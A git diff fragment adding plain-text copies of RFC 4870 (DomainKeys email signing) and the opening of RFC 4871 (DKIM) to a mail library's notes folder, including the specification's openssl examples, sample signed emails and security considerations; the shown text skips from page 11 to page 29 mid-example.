3. Use public key to determine whether the signature of the email + has been generated with the corresponding private key, and thus + whether the email was sent with the authority of the claimed + sending domain. + + In the event that an email arrives without a signature or when the + signature verification fails, the receiving system retrieves the + policy of the claimed sending domain to ascertain the preferred + disposition of such email. + + Armed with this information, the recipient system can apply local + policy based on the results of the signature test. + +3. DomainKeys Detailed View + + This section discusses the specifics of DomainKeys that are needed to + create interoperable implementations. This section answers the + following questions: + + + + +Delany Historic [Page 8] + +RFC 4870 DomainKeys May 2007 + + + Given an email, how is the sending domain determined? + + How is the public key retrieved for a sending domain? + + As email transits the email system, it can potentially go through + a number of changes. Which parts of the email are included in the + signature and how are they protected from such transformations? + + How is the signature represented in the email? + + If a signature is not present, or a verification fails, how does + the recipient determine the policy intent of the sending domain? + + Finally, on verifying the authenticity of an email, how is that + result conveyed to participating MUAs? + + While there are many alternative design choices, most lead to + comparable functionality. The overriding selection criteria used to + choose among the alternatives are as follows: + + o use deployed technology whenever possible + + o prefer ease of implementation + + o avoid trading risk for excessive flexibility or + interoperability + + o include basic flexibility + + Adherence to these criteria implies that some existing email + implementations will require changes to participate in DomainKeys. + Ultimately, some hard choices need to be made regarding which + requirements are more important. + +3.1. Determining the Sending Address of an Email + + The goal of DomainKeys is to give the recipient confidence that the + email originated from the claimed sender. As with much of Internet + email, agreement over what constitutes the "sender" is no easy + matter. Forwarding systems and mailing lists add serious + complications to an overtly simple question. From the point of view + of the recipient, the authenticity claim should be directed at the + domain most visible to the recipient. + + In the first instance, the most visible address is clearly the RFC + 2822 "From:" address [RFC2822]. Therefore, a conforming email MUST + contain a single "From:" header from which an email address with a + domain name can be extracted. + + + +Delany Historic [Page 9] + +RFC 4870 DomainKeys May 2007 + + + A conforming email MAY contain a single RFC 2822 "Sender:" header + from which an email address with a domain name can be extracted. + + If the email has a valid "From:" and a valid "Sender:" header, then + the signer MUST use the sending address in the "Sender:" header. + + If the email has a valid "From:" and no "Sender:" header, then the + signer MUST use the first sending address in the "From:" header. + + In all other cases, a signer MUST NOT sign the email. Implementors + should note that an email with a "Sender:" header and no "From:" + header MUST NOT be signed. + + The domain name in the sending address constitutes the "sending + domain". + +3.2. Retrieving the Public Key Given the Sending Domain + + To avoid namespace conflicts, it is proposed that the DNS namespace + "_domainkey." be reserved within the sending domain for storing + public keys, e.g., if the sending domain is example.net, then the + public keys for that domain are stored in the _domainkey.example.net + namespace. + +3.2.1. Introducing "selectors" + + To support multiple concurrent public keys per sending domain, the + DNS namespace is further subdivided with "selectors". Selectors are + arbitrary names below the "_domainkey." namespace. A selector value + and length MUST be legal in the DNS namespace and in email headers + with the additional provision that they cannot contain a semicolon. + + Examples of namespaces using selectors are as follows: + + "coolumbeach._domainkey.example.net" + "sebastopol._domainkey.example.net" + "reykjavik._domainkey.example.net" + "default._domainkey.example.net" + + and + + "2005.pao._domainkey.example.net" + "2005.sql._domainkey.example.net" + "2005.rhv._domainkey.example.net" + + Periods are allowed in selectors and are to be treated as component + separators. In the case of DNS queries, that means the period + defines subdomain boundaries. + + + +Delany Historic [Page 10] + +RFC 4870 DomainKeys May 2007 + + + The number of public keys and corresponding selectors for each domain + is determined by the domain owner. Many domain owners will be + satisfied with just one selector, whereas administratively + distributed organizations may choose to manage disparate selectors + and key pairs in different regions, or on different email servers. + + Beyond administrative convenience, selectors make it possible to + seamlessly replace public keys on a routine basis. If a domain + wishes to change from using a public key associated with selector + "2005" to a public key associated with selector "2006", it merely + makes sure that both public keys are advertised in the DNS + concurrently for the transition period during which email may be in + transit prior to verification. At the start of the transition + period, the outbound email servers are configured to sign with the + "2006" private key. At the end of the transition period, the "2005" + public key is removed from the DNS. + + While some domains may wish to make selector values well known, + others will want to take care not to allocate selector names in a way + that allows harvesting of data by outside parties. For example, if + per-user keys are issued, the domain owner will need to make the + decision as to whether to make this selector associated directly with + the user name or make it some unassociated random value, such as the + fingerprint of the public key. + +3.2.2. Public Key Signing and Verification Algorithm + + The default signature is an RSA signed SHA1 digest of the complete + email. + + For ease of explanation, the openssl command is used throughout this + document to describe the mechanism by which keys and signatures are + managed. + + One way to generate a 768-bit private key suitable for DomainKeys is + to use openssl like this: + + $ openssl genrsa -out rsa.private 768 + + + + + + + + + + + + + +Delany Historic [Page 11] + +RFC 4870 DomainKeys May 2007 + + + which results in the file rsa.private containing the key information + similar to this: + + -----BEGIN RSA PRIVATE KEY----- + MIIByQIBAAJhAKJ2lzDLZ8XlVambQfMXn3LRGKOD5o6lMIgulclWjZwP56LRqdg5 + ZX15bhc/GsvW8xW/R5Sh1NnkJNyL/cqY1a+GzzL47t7EXzVc+nRLWT1kwTvFNGIo + AUsFUq+J6+OprwIDAQABAmBOX0UaLdWWusYzNol++nNZ0RLAtr1/LKMX3tk1MkLH + +Ug13EzB2RZjjDOWlUOY98yxW9/hX05Uc9V5MPo+q2Lzg8wBtyRLqlORd7pfxYCn + Kapi2RPMcR1CxEJdXOkLCFECMQDTO0fzuShRvL8q0m5sitIHlLA/L+0+r9KaSRM/ + 3WQrmUpV+fAC3C31XGjhHv2EuAkCMQDE5U2nP2ZWVlSbxOKBqX724amoL7rrkUew + ti9TEjfaBndGKF2yYF7/+g53ZowRkfcCME/xOJr58VN17pejSl1T8Icj88wGNHCs + FDWGAH4EKNwDSMnfLMG4WMBqd9rzYpkvGQIwLhAHDq2CX4hq2tZAt1zT2yYH7tTb + weiHAQxeHe0RK+x/UuZ2pRhuoSv63mwbMLEZAjAP2vy6Yn+f9SKw2mKuj1zLjEhG + 6ppw+nKD50ncnPoP322UMxVNG4Eah0GYJ4DLP0U= + -----END RSA PRIVATE KEY----- + + Once a private key has been generated, the openssl command can be + used to sign an appropriately prepared email, like this: + + $ openssl dgst -sign rsa.private -sha1 + To: "Suzie Q" + Subject: Is dinner ready? + Date: Fri, 11 Jul 2003 21:00:37 -0700 (PDT) + Message-ID: <20030712040037.46341.5F8J@football.example.com> + + Hi. + + We lost the game. Are you hungry yet? + + Joe. + +4.2. The Email Is Signed + + This email is signed by the football.example.com outbound email + server and now looks like this: + + DomainKey-Signature: a=rsa-sha1; s=brisbane; d=football.example.com; + c=simple; q=dns; + b=dzdVyOfAKCdLXdJOc9G2q8LoXSlEniSbav+yuU4zGeeruD00lszZ + VoG4ZHRNiYzR; + Received: from dsl-10.2.3.4.football.example.com [10.2.3.4] + by submitserver.football.example.com with SUBMISSION; + Fri, 11 Jul 2003 21:01:54 -0700 (PDT) + From: "Joe SixPack" + To: "Suzie Q" + Subject: Is dinner ready? + Date: Fri, 11 Jul 2003 21:00:37 -0700 (PDT) + Message-ID: <20030712040037.46341.5F8J@football.example.com> + + Hi. + + We lost the game. Are you hungry yet? + + Joe. + + The signing email server requires access to the private key + associated with the "brisbane" selector to generate this signature. + Distribution and management of private keys are outside the scope of + this document. + + + +Delany Historic [Page 29] + +RFC 4870 DomainKeys May 2007 + + +4.3. The Email Signature Is Verified + + The signature is normally verified by an inbound SMTP server or + possibly the final delivery agent. However, intervening MTAs can + also perform this verification if they choose to do so. + + The verification process uses the domain "football.example.com" + extracted from the "From:" header and the selector "brisbane" from + the "DomainKey-Signature:" header to form the DNS TXT query for: + + brisbane._domainkey.football.example.com + + Since there is no "h" tag in the "DomainKey-Signature:" header, + signature verification starts with the line following the + "DomainKey-Signature:" line. The email is canonically prepared for + verifying with the "simple" method. + + The result of the query and subsequent verification of the signature + is stored in the "DomainKey-Status:" header line. After successful + verification, the email looks like this: + + DomainKey-Status: good + from=joe@football.example.com; domainkeys=pass + Received: from mout23.brisbane.football.example.com (192.168.1.1) + by shopping.example.net with SMTP; + Fri, 11 Jul 2003 21:01:59 -0700 (PDT) + DomainKey-Signature: a=rsa-sha1; s=brisbane; d=football.example.com; + c=simple; q=dns; + b=dzdVyOfAKCdLXdJOc9G2q8LoXSlEniSbav+yuU4zGeeruD00lszZ + VoG4ZHRNiYzR; + Received: from dsl-10.2.3.4.network.example.com [10.2.3.4] + by submitserver.example.com with SUBMISSION; + Fri, 11 Jul 2003 21:01:54 -0700 (PDT) + From: "Joe SixPack" + To: "Suzie Q" + Subject: Is dinner ready? + Date: Fri, 11 Jul 2003 21:00:37 -0700 (PDT) + Message-ID: <20030712040037.46341.5F8J@football.example.com> + + Hi. + + We lost the game. Are you hungry yet? + + Joe. + + + + + + + +Delany Historic [Page 30] + +RFC 4870 DomainKeys May 2007 + + +5. Association with a Certificate Authority + + A fundamental aspect of DomainKeys is that public keys are generated + and advertised by each domain at no additional cost. This + accessibility markedly differs from traditional Public Key + Infrastructures where there is typically a Certificate Authority (CA) + who validates an applicant and issues a signed certificate -- + containing their public key -- often for a recurring fee. + + While CAs do impose costs, they also have the potential to provide + additional value as part of their certification process. Consider + financial institutions, public utilities, law enforcement agencies, + and the like. In many cases, such entities justifiably need to + discriminate themselves above and beyond the authentication that + DomainKeys offers. + + Creating a link between DomainKeys and CA-issued certificates has the + potential to access additional authentication mechanisms that are + more authoritative than domain-owner-issued authentication. It is + well beyond the scope of this specification to describe such + authorities apart from defining how the linkage could be achieved + with the "DomainKey-X509:" header. + +5.1. The "DomainKey-X509:" Header + + The "DomainKey-X509:" header provides a link between the public key + used to sign the email and the certificate issued by a CA. + + The exact content, syntax, and semantics of this header are yet to be + resolved. One possibility is that this header contains an encoding + of the certificate issued by a CA. Another possibility is that this + header contains a URL that points to a certificate issued by a CA. + + In either case, this header can only be consulted if the signature + verifies and MUST be part of the content signed by the corresponding + "DomainKey-Signature:" header. Furthermore, it is likely that MUAs + rather than MTAs will confirm that the link to the CA-issued + certificate is valid. In part, this is because many MUAs already + have built-in capabilities as a consequence of Secure/Multipurpose + Internet Mail Extensions (S/MIME) [SMIME] and Secure Socket Layer + (SSL) [SSL] support. + + The proof of linkage is made by testing that the public key in the + certificate matches the public key used to sign the email. + + + + + + + +Delany Historic [Page 31] + +RFC 4870 DomainKeys May 2007 + + + An example of an email containing the "DomainKey-X509:" header is: + + DomainKey-Signature: a=rsa-sha1; s=statements; + d=largebank.example.com; c=simple; q=dns; + b=dzdVyOfAKCdLXdJOc9G2q8LoXSlEniSbav+yuU4zGeeruD00lszZ + VoG4ZHRNiYzR; + DomainKey-X509: https://ca.example.net/largebank.example.com + From: "Large Bank" + To: "Suzie Q" + Subject: Statement for Account: 1234-5678 + ... + + The format of the retrieved value from the URL is not yet defined, + nor is the determination of valid CAs. + + The whole matter of linkage to CA-issued certificates is one aspect + of DomainKeys that needs to be resolved with relevant CA's and + certificate-issuing entities. The primary point is that a link is + possible to a higher authority. + +6. Topics for Discussion + +6.1. The Benefits of Selectors + + Selectors are at the heart of the flexibility of DomainKeys. A + domain administrator is free to use a single DomainKey for all + outbound mail. Alternatively, the domain administrator may use many + DomainKeys differentiated by selector and assign each key to + different servers. + + For example, a large outbound email farm might have a unique + DomainKey for each server, and thus their DNS will advertise + potentially hundreds of keys via their unique selectors. + + Another example is a corporate email administrator who might generate + a separate DomainKey for each regional office email server. + + In essence, selectors allow a domain owner to distribute authority to + send on behalf of that domain. Combined with the ability to revoke + by removal or Time to Live (TTL) expiration, a domain owner has + coarse-grained control over the duration of the distributed + authority. + + Selectors are particularly useful for domain owners who want to + contract a third-party mailing system to send a particular set of + mail. The domain owner can generate a special key pair and selector + just for this mail-out. The domain owner has to provide the private + key and selector to the third party for the life of the mail-out. + + + +Delany Historic [Page 32] + +RFC 4870 DomainKeys May 2007 + + + However, as soon as the mail-out is completely delivered, the domain + owner can revoke the public key by the simple expedient of removing + the entry from the DNS. + +6.2. Canonicalization of Email + + It is an unfortunate fact that some email software routinely (and + often unnecessarily) transforms email as it transits through the + network. Such transformations conflict with the fundamental purpose + of cryptographic signatures - to detect modifications. + + While two canonicalization algorithms are defined in this + specification, the primary goal of "nofws" is to provide a transition + path to "simple". With a mixture of "simple" and "nofws" email, a + receiver can determine which systems are modifying email in ways that + cause the signature to fail and thus provide feedback to the + modifying system. + +6.3. Mailing Lists + + Integrating existing Mailing List Managers (MLMs) into the DomainKeys + authentication system is a complicated area, as the behavior of MLMs + is highly variable. Essentially, there are two types of MLMs under + consideration: those that modify email to such an extent that + verification of the original content is not possible, and those that + make minimal or no modifications to an email. + + MLMs that modify email in a way that causes verification to fail MUST + prepend a "Sender:" header and SHOULD prepend a "List-ID:" header + prior to signing for distribution to list recipients. + + A participating SUBMISSION server can deduce the need to re-sign such + an email by the presence of a "Sender:" or "List-ID:" header from an + authorized submission. + + MLMs that do not modify email in a way that causes verification to + fail MAY perform the same actions as a modifying MLM. + +6.4. Roving Users + + One scenario that presents a particular problem with any form of + email authentication, including DomainKeys, is the roving user: a + user who is obliged to use a third-party SUBMISSION service when + unable to connect to the user's own SUBMISSION service. The classic + example cited is a traveling salesperson being redirected to a hotel + email server to send email. + + + + + +Delany Historic [Page 33] + +RFC 4870 DomainKeys May 2007 + + + As far as DomainKeys is concerned, email of this nature clearly + originates from an email server that does not have authority to send + on behalf of the domain of the salesperson and is therefore + indistinguishable from a forgery. While DomainKeys does not + prescribe any specific action for such email, it is likely that over + time, such email will be treated as second-class email. + + The typical solution offered to roving users is to submit email via + an authorized server for their domain -- perhaps via a Virtual + Private Network (VPN) or a web interface or even SMTP AUTH back to a + SUBMISSION server. + + While these are perfectly acceptable solutions for many, they are not + necessarily solutions that are available or possible for all such + users. + + One possible way to address the needs of this contingent of + potentially disenfranchised users is for the domain to issue per-user + DomainKeys. Per-user DomainKeys are identified by a non-empty "g" + tag value in the corresponding DNS record. + +7. Security Considerations + +7.1. DNS + + DomainKeys is primarily a security mechanism. Its core purpose is to + make claims about email authentication in a credible way. However, + DomainKeys, like virtually all Internet applications, relies on the + DNS, which has well-known security flaws [RFC3833]. + +7.1.1. The DNS Is Not Currently Secure + + While the DNS is currently insecure, it is expected that the security + problems should and will be solved by DNS Security (DNSSEC) [DNSSEC], + and all users of the DNS will reap the benefit of that work. + + Secondly, the types of DNS attacks relevant to DomainKeys are very + costly and are far less rewarding than DNS attacks on other Internet + applications. + + To systematically thwart the intent of DomainKeys, an attacker must + conduct a very costly and very extensive attack on many parts of the + DNS over an extended period. No one knows for sure how attackers + will respond; however, the cost/benefit of conducting prolonged DNS + attacks of this nature is expected to be uneconomical. + + Finally, DomainKeys is only intended as a "sufficient" method of + proving authenticity. It is not intended to provide strong + + + +Delany Historic [Page 34] + +RFC 4870 DomainKeys May 2007 + + + cryptographic proof about authorship or contents. Other technologies + such as GnuPG and S/MIME address those requirements. + +7.1.2. DomainKeys Creates Additional DNS Load + + A second security issue related to the DNS revolves around the + increased DNS traffic as a consequence of fetching selector-based + data, as well as fetching sending domain policy. Widespread + deployment of DomainKeys will result in a significant increase in DNS + queries to the claimed sending domain. In the case of forgeries on a + large scale, DNS servers could see a substantial increase in queries. + +7.2. Key Management + + All public key systems require management of key pairs. Private keys + in particular need to be securely distributed to each signing mail + server and protected on those servers. For those familiar with SSL, + the key management issues are similar to those of managing SSL + certificates. Poor key management may result in unauthorized access + to private keys, which in essence gives unauthorized access to your + identity. + +7.3. Implementation Risks + + It is well recognized in cryptographic circles that many security + failures are caused by poor implementations rather than poor + algorithms. For example, early SSL implementations were vulnerable + because the implementors used predictable "random numbers". + + While some MTA software already supports various cryptographic + techniques, such as TLS, many do not. This proposal introduces + cryptographic requirements into MTA software that implies a much + higher duty of care to manage the increased risk. + + There are numerous articles, books, courses, and consultants that + help programming security applications. Potential implementors are + strongly encouraged to avail themselves of all possible resources to + ensure secure implementations. + +7.4. Privacy Assumptions with Forwarding Addresses + + Some people believe that they can achieve anonymity by using an email + forwarding service. While this has never been particularly true, as + bounces, over-quota messages, vacation messages, and web bugs all + conspire to expose IP addresses and domain names associated with the + delivery path, the DNS queries that are required to verify DomainKeys + signature can provide additional information to the sender. + + + + +Delany Historic [Page 35] + +RFC 4870 DomainKeys May 2007 + + + In particular, as mail is forwarded through the mail network, the DNS + queries for the selector will typically identify the DNS cache used + by the forwarding and delivery MTAs. + +7.5. Cryptographic Processing Is Computationally Intensive + + Verifying a signature is computationally significant. Early + indications are that a typical mail server can expect to increase CPU + demands by 8-15 percent. While this increased demand is modest + compared to other common mail processing costs -- such as Bayesian + filtering -- any increase in resource requirements can make a + denial-of-service attack more effective against a mail system. + + A constraining factor of such attacks is that the net computational + cost of verifying is bounded by the maximum key size allowed by this + specification and is essentially linear to the rate at which mail is + accepted by the verifying system. Consequently, the additional + computational cost may augment a denial-of-service attack, but it + does not add a non-linear component to such attacks. + +8. The Trial + + The DomainKeys protocol was deployed as a trial to better understand + the implications of deploying wide-scale cryptographic email + authentication. + + Open Source implementations were made available at various places, + particularly Source Forge [SOURCEFORGE], which includes links to + numerous implementations, both Open Source and commercial. + +8.1. Goals + + The primary goals of the trial were to: + + o understand the operational implications of running a DNS-based + public key system for email + + o measure the effectiveness of the canonicalization algorithms + + o experiment with possible per-user key deployment models + + o fully define the semantics of the "DomainKey-X509:" header + + + + + + + + + +Delany Historic [Page 36] + +RFC 4870 DomainKeys May 2007 + + +8.2. Results of Trial + + The DomainKeys trial ran for approximately 2 years, in which time + numerous large ISPs and many thousands of smaller domains + participated in signing or verifying with DomainKeys. The low order + numbers are that at least one billion DomainKey signed emails transit + the Internet each day between some 12,000 participating domains. + + The operational and development experience of that trial was applied + to DKIM. + +9. Note to Implementors Regarding TXT Records + + The DNS is very flexible in that it is possible to have multiple TXT + records for a single name and for those TXT records to contain + multiple strings. + + In all cases, implementors of DomainKeys should expect a single TXT + record for any particular name. If multiple TXT records are + returned, the implementation is free to pick any single TXT record as + the authoritative data. In other words, if a name server returns + different TXT records for the same name, it can expect unpredictable + results. + + Within a single TXT record, implementors should concatenate multiple + strings in the order presented and ignore string boundaries. Note + that a number of popular DNS command-line tools render multiple + strings as separately quoted strings, which can be misleading to a + novice implementor. + +10. References + +10.1. Normative References + + [BASE64] Josefsson, S., "The Base16, Base32, and Base64 Data + Encodings", RFC 4648, October 2006. + + [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate + Requirement Levels", BCP 14, RFC 2119, March 1997. + + [PEM] Linn, J., "Privacy Enhancement for Internet Electronic + Mail: Part I: Message Encryption and Authentication + Procedures", RFC 1421 February, 1993. + + + + + + + + +Delany Historic [Page 37] + +RFC 4870 DomainKeys May 2007 + + +10.2. Informative References + + [DKIM] Allman, E., Callas, J., Delany, M., Libbey, M., Fenton, + J., and M. Thomas, "DomainKeys Identified Mail (DKIM) + Signatures", RFC 4871, May 2007. + + [DNSSEC] http://www.ietf.org/html.charters/dnsext-charter.html + + [OPENSSL] http://www.openssl.org + + [RFC2822] Resnick, P., Editor, "Internet Message Format", RFC + 2822, April 2001. + + [RFC3833] Atkins, D. and R. Austein, "Threat Analysis of the + Domain Name System (DNS)", RFC 3833, August 2004. + + [SMIME] Ramsdell, B., Ed., "Secure/Multipurpose Internet Mail + Extensions (S/MIME) Version 3.1 Message Specification", + RFC 3851, July 2004. + + [SOURCEFORGE] http://domainkeys.sourceforge.net + + [SSL] http://wp.netscape.com/security/techbriefs/ssl.html + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Delany Historic [Page 38] + +RFC 4870 DomainKeys May 2007 + + +Appendix A - Syntax Rules for the Tag=Value Format + + A simple tag=value syntax is used to encode data in the response + values for DNS queries as well as headers embedded in emails. This + section summarized the syntactic rules for this encoding: + + o A tag=value pair consists of three tokens, a "tag", the "=" + character, and the "value" + + o A tag MUST be one character long and MUST be a lowercase + alphabetic character + + o Duplicate tags are not allowed + + o A value MUST only consist of characters that are valid in RFC + 2822 headers and DNS TXT records and are within the ASCII range + of characters from SPACE (0x20) to TILDE (0x7E) inclusive. + Values MUST NOT contain a semicolon but they may contain "=" + characters. + + o A tag=value pair MUST be terminated by a semicolon or the end + of the data + + o Values MUST be processed as case sensitive unless the specific + tag description of semantics imply case insensitivity. + + o Values MAY be zero bytes long + + o Whitespace MAY surround any of the tokens; however, whitespace + within a value MUST be retained unless explicitly excluded by + the specific tag description. Currently, the only tags that + specifically ignore embedded whitespace are the "b" and "h" + tags in the "DomainKey-Signature:" header. + + o Tag=value pairs that represent the default value MAY be + included to aid legibility. + + o Unrecognized tags MUST be ignored + + + + + + + + + + + + + +Delany Historic [Page 39] + +RFC 4870 DomainKeys May 2007 + + +Acknowledgments + + The editor wishes to thank Russ Allbery, Eric Allman, Edwin Aoki, + Claus Asmann, Steve Atkins, Jon Callas, Dave Crocker, Michael Cudahy, + Jutta Degener, Timothy Der, Jim Fenton, Duncan Findlay, Phillip + Hallam-Baker, Murray S. Kucherawy, John Levine, Miles Libbey, David + Margrave, Justin Mason, David Mayne, Russell Nelson, Juan Altmayer + Pizzorno, Blake Ramsdell, Scott Renfro, the Spamhaus.org team, Malte + S. Stretz, Robert Sanders, Bradley Taylor, and Rand Wacker for their + valuable suggestions and constructive criticism. + +Author's Address + + Mark Delany + Yahoo! Inc + 701 First Avenue + Sunnyvale, CA 95087 + USA + + EMail: markd+domainkeys@yahoo-inc.com + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Delany Historic [Page 40] + +RFC 4870 DomainKeys May 2007 + + +Full Copyright Statement + + Copyright (C) The IETF Trust (2007). + + This document is subject to the rights, licenses and restrictions + contained in BCP 78, and except as set forth therein, the authors + retain all their rights. + + This document and the information contained herein are provided on an + "AS IS" basis and THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS + OR IS SPONSORED BY (IF ANY), THE INTERNET SOCIETY, THE IETF TRUST AND + THE INTERNET ENGINEERING TASK FORCE DISCLAIM ALL WARRANTIES, EXPRESS + OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF + THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED + WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + +Intellectual Property + + The IETF takes no position regarding the validity or scope of any + Intellectual Property Rights or other rights that might be claimed to + pertain to the implementation or use of the technology described in + this document or the extent to which any license under such rights + might or might not be available; nor does it represent that it has + made any independent effort to identify any such rights. Information + on the procedures with respect to rights in RFC documents can be + found in BCP 78 and BCP 79. + + Copies of IPR disclosures made to the IETF Secretariat and any + assurances of licenses to be made available, or the result of an + attempt made to obtain a general license or permission for the use of + such proprietary rights by implementers or users of this + specification can be obtained from the IETF on-line IPR repository at + http://www.ietf.org/ipr. + + The IETF invites any interested party to bring to its attention any + copyrights, patents or patent applications, or other proprietary + rights that may cover technology that may be required to implement + this standard. Please address the information to the IETF at + ietf-ipr@ietf.org. + +Acknowledgement + + Funding for the RFC Editor function is currently provided by the + Internet Society. + + + + + + + +Delany Historic [Page 41] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4871.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4871.txt new file mode 100644 index 00000000..80410e61 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4871.txt @@ -0,0 +1,3978 @@ + + + + + +Network Working Group E. Allman +Request for Comments: 4871 Sendmail, Inc. +Obsoletes: 4870 J. Callas +Category: Standards Track PGP Corporation + M. Delany + M. Libbey + Yahoo! Inc + J. Fenton + M. Thomas + Cisco Systems, Inc. + May 2007 + + + DomainKeys Identified Mail (DKIM) Signatures + +Status of This Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The IETF Trust (2007). + +Abstract + + DomainKeys Identified Mail (DKIM) defines a domain-level + authentication framework for email using public-key cryptography and + key server technology to permit verification of the source and + contents of messages by either Mail Transfer Agents (MTAs) or Mail + User Agents (MUAs). The ultimate goal of this framework is to permit + a signing domain to assert responsibility for a message, thus + protecting message signer identity and the integrity of the messages + they convey while retaining the functionality of Internet email as it + is known today. Protection of email identity may assist in the + global control of "spam" and "phishing". + + + + + + + + + + + + +Allman, et al. Standards Track [Page 1] + +RFC 4871 DKIM Signatures May 2007 + + +Table of Contents + + 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . . 4 + 1.1. Signing Identity . . . . . . . . . . . . . . . . . . . . . 5 + 1.2. Scalability . . . . . . . . . . . . . . . . . . . . . . . 5 + 1.3. Simple Key Management . . . . . . . . . . . . . . . . . . 5 + 2. Terminology and Definitions . . . . . . . . . . . . . . . . . 5 + 2.1. Signers . . . . . . . . . . . . . . . . . . . . . . . . . 6 + 2.2. Verifiers . . . . . . . . . . . . . . . . . . . . . . . . 6 + 2.3. Whitespace . . . . . . . . . . . . . . . . . . . . . . . . 6 + 2.4. Common ABNF Tokens . . . . . . . . . . . . . . . . . . . . 6 + 2.5. Imported ABNF Tokens . . . . . . . . . . . . . . . . . . . 7 + 2.6. DKIM-Quoted-Printable . . . . . . . . . . . . . . . . . . 7 + 3. Protocol Elements . . . . . . . . . . . . . . . . . . . . . . 8 + 3.1. Selectors . . . . . . . . . . . . . . . . . . . . . . . . 8 + 3.2. Tag=Value Lists . . . . . . . . . . . . . . . . . . . . . 10 + 3.3. Signing and Verification Algorithms . . . . . . . . . . . 11 + 3.4. Canonicalization . . . . . . . . . . . . . . . . . . . . . 13 + 3.5. The DKIM-Signature Header Field . . . . . . . . . . . . . 17 + 3.6. Key Management and Representation . . . . . . . . . . . . 25 + 3.7. Computing the Message Hashes . . . . . . . . . . . . . . . 29 + 3.8. Signing by Parent Domains . . . . . . . . . . . . . . . . 31 + 4. Semantics of Multiple Signatures . . . . . . . . . . . . . . . 32 + 4.1. Example Scenarios . . . . . . . . . . . . . . . . . . . . 32 + 4.2. Interpretation . . . . . . . . . . . . . . . . . . . . . . 33 + 5. Signer Actions . . . . . . . . . . . . . . . . . . . . . . . . 34 + 5.1. Determine Whether the Email Should Be Signed and by + Whom . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 + 5.2. Select a Private Key and Corresponding Selector + Information . . . . . . . . . . . . . . . . . . . . . . . 35 + 5.3. Normalize the Message to Prevent Transport Conversions . . 35 + 5.4. Determine the Header Fields to Sign . . . . . . . . . . . 36 + 5.5. Recommended Signature Content . . . . . . . . . . . . . . 38 + 5.6. Compute the Message Hash and Signature . . . . . . . . . . 39 + 5.7. Insert the DKIM-Signature Header Field . . . . . . . . . . 40 + 6. Verifier Actions . . . . . . . . . . . . . . . . . . . . . . . 40 + 6.1. Extract Signatures from the Message . . . . . . . . . . . 41 + 6.2. Communicate Verification Results . . . . . . . . . . . . . 46 + 6.3. Interpret Results/Apply Local Policy . . . . . . . . . . . 47 + 7. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 48 + 7.1. DKIM-Signature Tag Specifications . . . . . . . . . . . . 48 + 7.2. DKIM-Signature Query Method Registry . . . . . . . . . . . 49 + 7.3. DKIM-Signature Canonicalization Registry . . . . . . . . . 49 + 7.4. _domainkey DNS TXT Record Tag Specifications . . . . . . . 50 + 7.5. DKIM Key Type Registry . . . . . . . . . . . . . . . . . . 50 + 7.6. DKIM Hash Algorithms Registry . . . . . . . . . . . . . . 51 + 7.7. DKIM Service Types Registry . . . . . . . . . . . . . . . 51 + 7.8. DKIM Selector Flags Registry . . . . . . . . . . . . . . . 52 + + + +Allman, et al. Standards Track [Page 2] + +RFC 4871 DKIM Signatures May 2007 + + + 7.9. DKIM-Signature Header Field . . . . . . . . . . . . . . . 52 + 8. Security Considerations . . . . . . . . . . . . . . . . . . . 52 + 8.1. Misuse of Body Length Limits ("l=" Tag) . . . . . . . . . 52 + 8.2. Misappropriated Private Key . . . . . . . . . . . . . . . 53 + 8.3. Key Server Denial-of-Service Attacks . . . . . . . . . . . 54 + 8.4. Attacks Against the DNS . . . . . . . . . . . . . . . . . 54 + 8.5. Replay Attacks . . . . . . . . . . . . . . . . . . . . . . 55 + 8.6. Limits on Revoking Keys . . . . . . . . . . . . . . . . . 55 + 8.7. Intentionally Malformed Key Records . . . . . . . . . . . 56 + 8.8. Intentionally Malformed DKIM-Signature Header Fields . . . 56 + 8.9. Information Leakage . . . . . . . . . . . . . . . . . . . 56 + 8.10. Remote Timing Attacks . . . . . . . . . . . . . . . . . . 56 + 8.11. Reordered Header Fields . . . . . . . . . . . . . . . . . 56 + 8.12. RSA Attacks . . . . . . . . . . . . . . . . . . . . . . . 56 + 8.13. Inappropriate Signing by Parent Domains . . . . . . . . . 57 + 9. References . . . . . . . . . . . . . . . . . . . . . . . . . . 57 + 9.1. Normative References . . . . . . . . . . . . . . . . . . . 57 + 9.2. Informative References . . . . . . . . . . . . . . . . . . 58 + Appendix A. Example of Use (INFORMATIVE) . . . . . . . . . . . . 60 + A.1. The user composes an email . . . . . . . . . . . . . . . . 60 + A.2. The email is signed . . . . . . . . . . . . . . . . . . . 61 + A.3. The email signature is verified . . . . . . . . . . . . . 61 + Appendix B. Usage Examples (INFORMATIVE) . . . . . . . . . . . . 62 + B.1. Alternate Submission Scenarios . . . . . . . . . . . . . . 63 + B.2. Alternate Delivery Scenarios . . . . . . . . . . . . . . . 65 + Appendix C. Creating a Public Key (INFORMATIVE) . . . . . . . . . 67 + Appendix D. MUA Considerations . . . . . . . . . . . . . . . . . 68 + Appendix E. Acknowledgements . . . . . . . . . . . . . . . . . . 69 + + + + + + + + + + + + + + + + + + + + + + + +Allman, et al. Standards Track [Page 3] + +RFC 4871 DKIM Signatures May 2007 + + +1. Introduction + + DomainKeys Identified Mail (DKIM) defines a mechanism by which email + messages can be cryptographically signed, permitting a signing domain + to claim responsibility for the introduction of a message into the + mail stream. Message recipients can verify the signature by querying + the signer's domain directly to retrieve the appropriate public key, + and thereby confirm that the message was attested to by a party in + possession of the private key for the signing domain. + + The approach taken by DKIM differs from previous approaches to + message signing (e.g., Secure/Multipurpose 